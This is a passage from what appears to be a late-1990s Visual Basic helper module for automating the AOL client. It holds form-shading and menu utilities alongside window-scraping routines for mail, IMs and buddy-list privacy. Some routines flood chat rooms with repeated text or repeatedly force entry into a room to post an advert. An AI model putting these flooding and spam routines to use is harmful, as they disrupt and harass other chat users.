  1319.     Loop Until NoWindow& <> 0& And NoButton& <> 0
  1320.     Call SendMessage(NoButton&, WM_KEYDOWN, VK_SPACE, 0&)
  1321.     Call SendMessage(NoButton&, WM_KEYUP, VK_SPACE, 0&)
  1322. End Function
  1323. Sub ErrorRScroll2(txt)
  1324. 'This is pretty phat
  1325. For i = 1 To 15
  1326. a = a + ("áááááááááááááááááááááááááááááááááááááá" & txt)
  1327. Next
  1328. ErrorRsenD ".<p=" & a
  1329. End Sub
  1330. Function FormStripes_Red(frm As Form)
  1331. frm.ScaleMode = 3
  1332.     frm.DrawStyle = 6
  1333.     frm.DrawWidth = 1
  1334.     frm.AutoRedraw = True
  1335.   
  1336. For X = 1 To frm.Width
  1337. i = Int(Rnd * 64)
  1338. frm.Line (X, 1)-(X, frm.Height), RGB(i, FF, FF)
  1339. Next X
  1340. frm.Refresh
  1341. End Function
  1342. Function FormStripes_Random(frm As Form)
  1343. frm.ScaleMode = 3
  1344.     frm.DrawStyle = 6
  1345.     frm.DrawWidth = 1
  1346.     frm.AutoRedraw = True
  1347.     
  1348. For X = 1 To frm.Width
  1349.  
  1350. frm.Line (X, 1)-(X, frm.Height), QBColor(Rnd * 15)
  1351.  
  1352. Next X
  1353. frm.Refresh
  1354. End Function
  1355.  
  1356. Sub FormShade_Blue(frm As Form)
  1357. Dim i As Integer
  1358.     frm.ScaleMode = 3
  1359.     frm.DrawStyle = 6
  1360.     frm.DrawWidth = 1
  1361.     frm.AutoRedraw = True
  1362.     NumberOfRects = 64
  1363.      
  1364.  
  1365.     For i = 1 To 64
  1366.         X = 255 - (i * 4 - 1)
  1367.          
  1368.         GC = RGB(FF, aa, X)
  1369.         frm.Line (0, frm.ScaleHeight * (i - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * i / 64), GC, BF
  1370.          
  1371.     Next i
  1372.  
  1373.         frm.Refresh
  1374. End Sub
  1375. Sub FormShade_Green(frm As Form)
  1376. Dim i As Integer
  1377.     frm.ScaleMode = 3
  1378.     frm.DrawStyle = 6
  1379.     frm.DrawWidth = 1
  1380.     frm.AutoRedraw = True
  1381.     NumberOfRects = 64
  1382.      
  1383.  
  1384.     For i = 1 To 64
  1385.         X = 255 - (i * 4 - 1)
  1386.          
  1387.         GC = RGB(FF, X, aa)
  1388.         frm.Line (0, frm.ScaleHeight * (i - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * i / 64), GC, BF
  1389.          
  1390.     Next i
  1391.  
  1392.         frm.Refresh
  1393. End Sub
  1394. Function Form_LightShow(frm As Form)
  1395. 'put this in a timer
  1396. frm.Line (Int(Rnd * frm.Width), Int(Rnd * frm.Height))-(Int(Rnd * frm.Width), Int(Rnd * frm.Height)), QBColor(Rnd * 15)
  1397. End Function
  1398. Public Function FindRoom() As Long
  1399.     Dim aol As Long, mdi As Long, child As Long
  1400.     Dim Rich As Long, AOLList As Long
  1401.     Dim AOLIcon As Long, AOLStatic As Long
  1402.     aol& = FindWindow("AOL Frame25", vbNullString)
  1403.     mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
  1404.     child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
  1405.     Rich& = FindWindowEx(child&, 0&, "RICHCNTL", vbNullString)
  1406.     AOLList& = FindWindowEx(child&, 0&, "_AOL_Listbox", vbNullString)
  1407.     AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString)
  1408.     AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
  1409.     If Rich& <> 0& And AOLList& <> 0& And AOLIcon& <> 0& And AOLStatic& <> 0& Then
  1410.         FindRoom& = child&
  1411.         Exit Function
  1412.     Else
  1413.         Do
  1414.             child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString)
  1415.             Rich& = FindWindowEx(child&, 0&, "RICHCNTL", vbNullString)
  1416.             AOLList& = FindWindowEx(child&, 0&, "_AOL_Listbox", vbNullString)
  1417.             AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString)
  1418.             AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
  1419.             If Rich& <> 0& And AOLList& <> 0& And AOLIcon& <> 0& And AOLStatic& <> 0& Then
  1420.                 FindRoom& = child&
  1421.                 Exit Function
  1422.             End If
  1423.         Loop Until child& = 0&
  1424.     End If
  1425.     FindRoom& = child&
  1426. End Function
  1427.  
  1428. Sub FormMove(frm As Form)
  1429. 'moves form without clicking the border
  1430.         ReleaseCapture
  1431.         SendMessage frm.hwnd, WM_SYSCOMMAND, SC_MOVE, 0
  1432. frm.Refresh
  1433. End Sub
  1434.  
  1435. Function File_GetAttributes(Path As String)
  1436. Dim FA
  1437. FA = GetAttr(Path)
  1438. If FA = 0 Then Let FA = "Normal": GoTo GotIt
  1439. If FA = 1 Then Let FA = "ReadOnly": GoTo GotIt
  1440. If FA = 2 Then Let FA = "Hidden": GoTo GotIt
  1441. If FA = 4 Then Let FA = "System": GoTo GotIt
  1442. If FA = 16 Then Let FA = "Directory": GoTo GotIt
  1443. If FA = 32 Then Let FA = "Archive": GoTo GotIt
  1444.  
  1445. GotIt:
  1446. File_GetAttributes = FA
  1447. End Function
  1448.  
  1449.  
  1450. Sub FormShade_BlueGreen(frm As Form)
  1451. Dim i As Integer
  1452.     frm.ScaleMode = 3
  1453.     frm.DrawStyle = 6
  1454.     frm.DrawWidth = 1
  1455.     frm.AutoRedraw = True
  1456.     NumberOfRects = 64
  1457.      
  1458.  
  1459.     For i = 1 To 64
  1460.         X = 255 - (i * 4 - 1)
  1461.          
  1462.         GC = RGB(FF, X + 5, X)
  1463.         frm.Line (0, frm.ScaleHeight * (i - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * i / 64), GC, BF
  1464.          
  1465.     Next i
  1466.  
  1467.         frm.Refresh
  1468. End Sub
  1469.  
  1470.  
  1471. Sub FormShade_BW(frm As Form)
  1472. Dim i As Integer
  1473.     frm.ScaleMode = 3
  1474.     frm.DrawStyle = 6
  1475.     frm.DrawWidth = 1
  1476.     frm.AutoRedraw = True
  1477.     NumberOfRects = 64
  1478.      
  1479.  
  1480.     For i = 1 To 64
  1481.         X = 255 - (i * 4 - 1)
  1482.          
  1483.         GC = RGB(X, X, X)
  1484.         frm.Line (0, frm.ScaleHeight * (i - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * i / 64), GC, BF
  1485.          
  1486.     Next i
  1487.  
  1488.         frm.Refresh
  1489. End Sub
  1490.  
  1491.  
  1492. Sub FormShade_Grey(frm As Form)
  1493. Dim i As Integer
  1494.     frm.ScaleMode = 3
  1495.     frm.DrawStyle = 6
  1496.     frm.DrawWidth = 1
  1497.     frm.AutoRedraw = True
  1498.     NumberOfRects = 64
  1499.      
  1500.  
  1501.     For i = 1 To 64
  1502.         X = 255 - (i * 4 - 1)
  1503.          
  1504.         GC = RGB(X + 25, X + 25, X + 25)
  1505.         frm.Line (0, frm.ScaleHeight * (i - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * i / 64), GC, BF
  1506.          
  1507.     Next i
  1508.  
  1509.         frm.Refresh
  1510. End Sub
  1511.  
  1512. Sub FormShade_Purple(frm As Form)
  1513. Dim i As Integer
  1514.     frm.ScaleMode = 3
  1515.     frm.DrawStyle = 6
  1516.     frm.DrawWidth = 1
  1517.     frm.AutoRedraw = True
  1518.     NumberOfRects = 64
  1519.      
  1520.  
  1521.     For i = 1 To 64
  1522.         X = 255 - (i * 4 - 1)
  1523.          
  1524.         GC = RGB(X, FF, X)
  1525.         frm.Line (0, frm.ScaleHeight * (i - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * i / 64), GC, BF
  1526.          
  1527.     Next i
  1528.  
  1529.         frm.Refresh
  1530. End Sub
  1531.  
  1532. Sub FormShade_Red(frm As Form)
  1533. Dim i As Integer
  1534.     frm.ScaleMode = 3
  1535.     frm.DrawStyle = 6
  1536.     frm.DrawWidth = 1
  1537.     frm.AutoRedraw = True
  1538.     NumberOfRects = 64
  1539.      
  1540.  
  1541.     For i = 1 To 64
  1542.         X = 255 - (i * 4 - 1)
  1543.          
  1544.         GC = RGB(X, FF, aa)
  1545.         frm.Line (0, frm.ScaleHeight * (i - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * i / 64), GC, BF
  1546.          
  1547.     Next i
  1548.  
  1549.         frm.Refresh
  1550. End Sub
  1551.  
  1552. Sub FormShade_Yellow(frm As Form)
  1553. Dim i As Integer
  1554.     frm.ScaleMode = 3
  1555.     frm.DrawStyle = 6
  1556.     frm.DrawWidth = 1
  1557.     frm.AutoRedraw = True
  1558.     NumberOfRects = 64
  1559.      
  1560.  
  1561.     For i = 1 To 64
  1562.         X = 255 - (i * 4 - 1)
  1563.          
  1564.         GC = RGB(X, X, FF)
  1565.         frm.Line (0, frm.ScaleHeight * (i - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * i / 64), GC, BF
  1566.          
  1567.     Next i
  1568.  
  1569.         frm.Refresh
  1570. End Sub
  1571.  
  1572. Function GetCursorPosition()
  1573. Dim Pos As POINTAPI
  1574. GetIt = GetCursorPos(Pos)
  1575. GetCursorPosition = (Pos.X & " " & Pos.Y)
  1576.  
  1577. End Function
  1578.  
  1579. Function Ghost_Off()
  1580. Do: DoEvents
  1581. aol% = FindWindow("AOL Frame25", vbNullString)
  1582. mdi% = FindChildByClass(aol%, "MDIClient")
  1583. TIT% = FindChildByTitle(mdi%, "Buddy List Window")
  1584.     If TIT% = 0 Then
  1585.         Call RunMenuByChar(9, "V")
  1586.     End If
  1587. If TIT% <> 0 Then Exit Do
  1588. Loop
  1589.  
  1590. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  1591.     Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1592.                   Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1593.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1594.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1595.             
  1596.     clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  1597.     clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  1598. Do: DoEvents
  1599. tit2% = FindChildByTitle(mdi%, "Buddy Lists")
  1600. iconb% = FindChildByClass(tit2%, "_AOL_Icon")
  1601. If tit2% <> 0 And iconb% <> 0 Then Exit Do
  1602. Loop
  1603.  
  1604.     iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1605.             iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1606.                 iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1607.                     iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1608.                         
  1609.     clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  1610.     clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  1611. Do: DoEvents
  1612. tit3% = FindChildByTitle(mdi%, "Privacy Preferences")
  1613. Chk% = FindChildByClass(tit3%, "_AOL_Checkbox")
  1614. If tit3% <> 0 And Chk% <> 0 Then Exit Do
  1615. Loop
  1616.       
  1617.     
  1618.     Do: DoEvents
  1619.     clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&)
  1620.     G% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  1621.     If G% <> 0 Then Exit Do
  1622.     Loop
  1623.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1624.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1625.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1626.    Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1627.      
  1628. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1629.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1630.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1631.    
  1632.    
  1633. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1634. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1635. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1636. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1637. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1638. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1639. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1640.  
  1641. saveit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  1642. saveit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  1643. Do: DoEvents
  1644. numwin% = FindWindow("#32770", vbNullString)
  1645. If numwin% <> 0 Then Exit Do
  1646. Loop
  1647. DoEvents
  1648. Killit = SendMessage(numwin%, WM_CLOSE, 0, 0&)
  1649. Killit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  1650. End Function
  1651.  
  1652. Function Ghost_On()
  1653. 'NIce ghosting code
  1654. ' for you peopel that dont like ims
  1655.  
  1656. Do: DoEvents
  1657. aol% = FindWindow("AOL Frame25", vbNullString)
  1658. mdi% = FindChildByClass(aol%, "MDIClient")
  1659. TIT% = FindChildByTitle(mdi%, "Buddy List Window")
  1660.     If TIT% = 0 Then 'makes sure Buddy List Window
  1661.         Call RunMenuByChar(9, "V") 'is up
  1662.     End If
  1663. If TIT% <> 0 Then Exit Do
  1664. Loop
  1665.  
  1666. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  1667.     Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1668.                   Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1669.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1670.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1671.             
  1672.     clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  1673.     clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  1674. Do: DoEvents
  1675. tit2% = FindChildByTitle(mdi%, "Buddy Lists")
  1676. iconb% = FindChildByClass(tit2%, "_AOL_Icon")
  1677. If tit2% <> 0 And iconb% <> 0 Then Exit Do
  1678. Loop
  1679.  
  1680.     iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1681.             iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1682.                 iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1683.                     iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1684.                         
  1685.     clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  1686.     clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  1687. Do: DoEvents
  1688. tit3% = FindChildByTitle(mdi%, "Privacy Preferences")
  1689. Chk% = FindChildByClass(tit3%, "_AOL_Checkbox")
  1690. If tit3% <> 0 And Chk% <> 0 Then Exit Do
  1691. Loop
  1692.       Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1693.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1694.     Do: DoEvents
  1695.     clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&)
  1696.     G% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  1697.     If G% <> 0 Then Exit Do
  1698.     Loop
  1699.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1700.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1701.    
  1702.      Do: DoEvents
  1703.                 clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  1704.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  1705.                           GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  1706.                         If GetIt% <> 0 Then Exit Do
  1707.                         Loop
  1708.  
  1709. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1710.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1711.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1712.    
  1713.     Do: DoEvents
  1714.                    clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&)
  1715.  GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  1716.                         If GetIt% <> 0 Then Exit Do
  1717.                         Loop
  1718.  
  1719. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1720. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1721. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1722. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1723. Chk% = GetWindow(Chk%, GW_HWNDNEXT) 'listbox
  1724. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1725. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1726.  
  1727. saveit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  1728. saveit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  1729. Do: DoEvents
  1730. numwin% = FindWindow("#32770", vbNullString)
  1731. If numwin% <> 0 Then Exit Do
  1732. Loop
  1733. DoEvents
  1734. Killit = SendMessage(numwin%, WM_CLOSE, 0, 0&)
  1735. Killit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  1736. End Function
  1737. Public Function HiByte(ByVal wParam As Integer)
  1738.  
  1739.     HiByte = wParam \ &H100 And &HFF&
  1740.  
  1741. End Function
  1742.  
  1743. Function Im_IsVisible() As Boolean
  1744. On Error Resume Next
  1745. aol% = FindWindow("AOL Frame25", vbNullString)
  1746. mdi% = FindChildByClass(aol%, "MDIClient")
  1747. TIT% = FindChildByTitle(mdi%, ">Instant Message From:")
  1748. tit2% = FindChildByTitle(mdi%, " Instant Message From:")
  1749. tit3% = FindChildByTitle(mdi%, " Instant Message To:")
  1750. If TIT% <> 0 Then
  1751.     Ftit% = TIT%
  1752.         ElseIf tit2% <> 0 Then
  1753.     Ftit% = tit2%
  1754.             ElseIf tit3% <> 0 Then
  1755.     Ftit% = tit3%
  1756.         End If
  1757. If Ftit% <> 0 Then
  1758.     Im_IsVisible = True
  1759. Else
  1760.     Im_IsVisible = False
  1761. End If
  1762.  
  1763. End Function
  1764.  
  1765. Function List_HelpFile(lis As ListBox, txt As textbox)
  1766. 'compares whats in a textbox to whats in
  1767. 'a list then will select the nearest match
  1768. 'just like the search in VB's help file
  1769. 'PUT THIS IN THE TEXTBOX'S CHANGE EVENT
  1770. On Error Resume Next
  1771.  
  1772. Dim i As Integer
  1773. Dim l As String
  1774. If txt.Text = "" Then lis.Selected(0) = True
  1775. If txt.Text <> "" Then
  1776. For i = 0 To lis.ListCount
  1777. l$ = LCase(lis.List(i))
  1778. If InStr(l$, LCase(txt.Text)) <> 0 Then
  1779. lis.Selected(i) = True
  1780. Exit For
  1781. End If
  1782. Next i
  1783. End If
  1784. End Function
  1785.  
  1786. Function List_IsNameListed(lis As ListBox, name As String) As Boolean
  1787. Dim i As Integer
  1788. There = False
  1789. For i = 0 To lis.ListCount
  1790. l$ = lis.List(i)
  1791. If LCase(name) = LCase(l$) Then
  1792. There = True
  1793. End If
  1794. Next i
  1795. List_IsNameListed = There
  1796. End Function
  1797.  
  1798. Function Mail_CountOld()
  1799. Call Mail_OpenNew
  1800. aol% = FindWindow("AOL Frame25", vbNullString)
  1801. mdi% = FindChildByClass(aol%, "MDIClient")
  1802. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  1803. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1804. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1805. Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  1806. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  1807. c = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  1808.  
  1809.  
  1810. Mail_CountOld = c
  1811.  
  1812. End Function
  1813. Function Mail_OpenOld()
  1814. Call Mail_OpenNew2
  1815. Wait (2)
  1816. Do: DoEvents
  1817. aol% = FindWindow("AOL Frame25", vbNullString)
  1818. mdi% = FindChildByClass(aol%, "MDIClient")
  1819. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  1820. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1821. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1822. If TIT% <> 0 And Tab1% <> 0 Then Exit Do
  1823. Loop
  1824. c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_RIGHT, 0&)
  1825. c = SendMessageByString(Tab1%, WM_KEYUP, VK_RIGHT, 0&)
  1826.  
  1827. End Function
  1828. Function Mail_OpenOld2()
  1829. Call Mail_OpenNew2
  1830. Wait (2)
  1831. Do: DoEvents
  1832. aol% = FindWindow("AOL Frame25", vbNullString)
  1833. mdi% = FindChildByClass(aol%, "MDIClient")
  1834. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  1835. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1836. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1837. If TIT% <> 0 And Tab1% <> 0 Then Exit Do
  1838. Loop
  1839. c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_RIGHT, 0&)
  1840. c = SendMessageByString(Tab1%, WM_KEYUP, VK_RIGHT, 0&)
  1841. Wait (1)
  1842. End Function
  1843.  
  1844. Function Mail_OpenSent()
  1845. Call Mail_OpenNew2
  1846. Wait (2)
  1847. Do: DoEvents
  1848. aol% = FindWindow("AOL Frame25", vbNullString)
  1849. mdi% = FindChildByClass(aol%, "MDIClient")
  1850. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  1851. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1852. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1853. If TIT% <> 0 And Tab1% <> 0 Then Exit Do
  1854. Loop
  1855. c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_LEFT, 0&)
  1856. c = SendMessageByString(Tab1%, WM_KEYUP, VK_LEFT, 0&)
  1857.  
  1858.  
  1859. End Function
  1860. Function Mail_OpenSent2()
  1861. Call Mail_OpenNew2
  1862. Wait (2)
  1863. Do: DoEvents
  1864. aol% = FindWindow("AOL Frame25", vbNullString)
  1865. mdi% = FindChildByClass(aol%, "MDIClient")
  1866. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  1867. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1868. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1869. If TIT% <> 0 And Tab1% <> 0 Then Exit Do
  1870. Loop
  1871. c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_LEFT, 0&)
  1872. c = SendMessageByString(Tab1%, WM_KEYUP, VK_LEFT, 0&)
  1873.  
  1874.  
  1875. End Function
  1876. Function Menu_SubMenuSetPic(frm As Form, Img As Image, MenuNum As Integer, SubInd As Integer, Ind As Integer)
  1877. 'Sets a pic in the sub menu of a menu item
  1878. 'the SubInd is the number of the menu that holds a submenu
  1879. 'and the Ind is the Submenu # that you want the pic in
  1880. MMenuHwnd = GetMenu(frm.hwnd)
  1881. SMenuHwnd = GetSubMenu(MMenuHwnd, MenuNum)
  1882.     SubMenuHwnd = GetSubMenu(SMenuHwnd, SubInd)
  1883.     lRet = SetMenuItemBitmaps(SubMenuHwnd, Ind, MF_BYPOSITION, Img.Picture, Img.Picture)
  1884. End Function
  1885.  
  1886. Function MenuSetPic(frm As Form, Img As Image, MenuNum As Integer, Ind As Integer)
  1887. 'Adds a picture to your menus
  1888. 'Picture in ImageBox must be a Bitmap(.Bmp)
  1889. 'Ind = the number of the menu first item is 0
  1890. 'second is 1 and so on .Picture must be small
  1891. MMenuHwnd = GetMenu(frm.hwnd)
  1892.     SubMHwnd = GetSubMenu(MMenuHwnd, MenuNum)
  1893.     SetPic = SetMenuItemBitmaps(SubMHwnd, Ind, MF_BYPOSITION, Img.Picture, Img.Picture)
  1894. End Function
  1895.  
  1896. Sub Object_Slide(frm As Form, Obj As Object)
  1897. 'put in a timer with low interval
  1898. 'makes object (picturebox,commandbuton etc)
  1899. 'slide back an forth on form
  1900. Obj.Move Val(Obj.Left) - 55, Obj.Top
  1901. If Obj.Left <= 0 Then
  1902. Do Until (Obj.Left + Obj.Width) >= frm.Width
  1903. Obj.Move Val(Obj.Left) + 55, Obj.Top
  1904. Wait (0.01)
  1905. Loop
  1906. End If
  1907. End Sub
  1908. Sub Object_SlideFast(frm As Form, Obj As Object)
  1909. 'put in a timer with low interval
  1910. 'makes object (picturebox,commandbuton etc)
  1911. 'slide back an forth on form
  1912. Obj.Move Val(Obj.Left) - 100, Obj.Top
  1913. If Obj.Left <= 0 Then
  1914. Do Until (Obj.Left + Obj.Width) >= frm.Width
  1915. Obj.Move Val(Obj.Left) + 100, Obj.Top
  1916. Wait (0.01)
  1917. Loop
  1918. End If
  1919. End Sub
  1920. Function GetText(child)
  1921. GetTrim = SendMessageByNum(child, 14, 0&, 0&)
  1922. TrimSpace$ = Space$(GetTrim)
  1923. GetString = SendMessageByString(child, 13, GetTrim + 1, TrimSpace$)
  1924. GetText = TrimSpace$
  1925. End Function
  1926. Function GetchatText()
  1927. room% = FindChatRoom
  1928. AORich% = FindChildByClass(room%, "RICHCNTL")
  1929. chattext = GetText(AORich%)
  1930. GetchatText = chattext
  1931. End Function
  1932. Function PassWordCrackButtons()
  1933. 'Some people still might have 3 buttons at sign on
  1934. 'use this to determne how many buttons they have
  1935. 'ex:  x = PassWordCrackButtons
  1936. 'if x = 3 then
  1937. 'they got 3 and same for 4
  1938. Dim aol%, mdi%, tit1%, tit2%, TIT%, butn%
  1939.  
  1940. aol% = FindWindow("AOL Frame25", vbNullString)
  1941. mdi% = FindChildByClass(aol%, "MDIClient")
  1942. tit1% = FindChildByTitle(mdi%, "Sign On")
  1943. tit2% = FindChildByTitle(mdi%, "Goodbye from America Online!")
  1944.     If tit1% <> 0 Then
  1945.         TIT% = tit1%
  1946.     ElseIf tit2% <> 0 Then
  1947.         TIT% = tit2%
  1948.     End If
  1949. butn% = FindChildByClass(TIT%, "_AOL_Icon")
  1950. butn% = GetWindow(butn%, GW_HWNDNEXT)
  1951.      butn% = GetWindow(butn%, GW_HWNDNEXT)
  1952.           butn% = GetWindow(butn%, GW_HWNDNEXT)
  1953.             
  1954.              If butn% <> 0 Then
  1955.              PassWordCrackButtons = 4
  1956.              Else
  1957.              PassWordCrackButtons = 3
  1958.              End If
  1959.              
  1960. End Function
  1961.  
  1962. Sub PictureTile(frm As Form, Pic As PictureBox)
  1963. Dim i As Integer
  1964. Dim T As Integer
  1965. frm.AutoRedraw = True
  1966. Pic.BorderStyle = 0
  1967. For T = 0 To frm.Height Step Pic.ScaleHeight
  1968.  
  1969.             For i = 0 To frm.Width Step Pic.ScaleWidth
  1970.                 frm.PaintPicture Pic.Picture, i, T
  1971.             Next i
  1972.  
  1973.             Next T
  1974. End Sub
  1975. Sub PictureTile2(frm As Form, Pic As PictureBox, LPic As String)
  1976. Dim i As Integer
  1977. Dim T As Integer
  1978. Pic.Picture = LoadPicture(LPic)
  1979. frm.AutoRedraw = True
  1980. Pic.BorderStyle = 0
  1981. For T = 0 To frm.Height Step Pic.ScaleHeight
  1982.  
  1983.             For i = 0 To frm.Width Step Pic.ScaleWidth
  1984.                 frm.PaintPicture Pic.Picture, i, T
  1985.             Next i
  1986.  
  1987.             Next T
  1988. End Sub
  1989. Sub PictureStretch(frm As Form, Pic As PictureBox)
  1990. 'will stretch a picture in a picture box and paint
  1991. 'on the form background
  1992.     frm.DrawStyle = 6
  1993.     frm.DrawWidth = 1
  1994.     frm.AutoRedraw = True
  1995.     
  1996. frm.PaintPicture Pic, 0, 0, frm.Width, frm.Height
  1997.  
  1998. Pic.Visible = False
  1999. frm.Refresh
  2000. End Sub
  2001. Sub Print_PrintText(txt As String)
  2002. Printer.Print txt
  2003. Wait (0.4)
  2004. Printer.EndDoc
  2005.  
  2006. End Sub
  2007.  
  2008. Function RoomBustWithAd(Ascii As String, ProgName As String, room As String)
  2009. 'ex. Call
  2010. Dim Chil%, Rich%
  2011. Dim HTime As Integer
  2012. HTime = 0
  2013. Chil% = FindChat
  2014. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  2015.     If Rich% <> o Then
  2016.         closeroom = SendMessage(Chil%, WM_CLOSE, 0, 0&)
  2017.     End If
  2018. Do: DoEvents
  2019. Call PrivRoom(room)
  2020. HTime = Val(HTime) + 1
  2021. Wait (0.4)
  2022. If InRoom = True Or HTime = 20 Then Exit Do
  2023. Loop
  2024. If HTime = 20 Then
  2025. MsgBox ("Sorry, Only allowed 20 times due to AOL update."), 16, ("Roombust Timeout")
  2026. Exit Function
  2027. End If
  2028. Wait (0.2)
  2029. Call ErrorRsenD(Ascii & ProgName)
  2030. Wait (0.5)
  2031. Call ErrorRsenD(Ascii & " Busted into [" & room & "]")
  2032. Wait (0.5)
  2033. Call ErrorRsenD(Ascii & " Busted in " & HTime & " tries")
  2034.  
  2035. End Function
  2036.  
  2037. Function Scroll_MultiTextBox(txt As textbox)
  2038. txt.Text = " " & txt.Text & Chr(13) 'make sure it picks up last line
  2039. Dim i As Integer
  2040. For i = 1 To Len(txt.Text)
  2041. l$ = Mid(txt.Text, i, 1)
  2042. If l$ = Chr(13) Then
  2043. Call ErrorRsenD(Mid(TLine$, 2, Len(TLine$))): TLine$ = "": l$ = ""
  2044. Wait (0.5)
  2045. End If
  2046. TLine$ = TLine$ & l$
  2047. Next i
  2048. txt.Text = Mid(txt.Text, 2, Len(txt.Text) - 2) 'return text to original
  2049.  
  2050. End Function
  2051. Function RGBtoHEX(RGB)
  2052.     a = Hex(RGB)
  2053.     B = Len(a)
  2054.     If B = 5 Then a = "0" & a
  2055.     If B = 4 Then a = "00" & a
  2056.     If B = 3 Then a = "000" & a
  2057.     If B = 2 Then a = "0000" & a
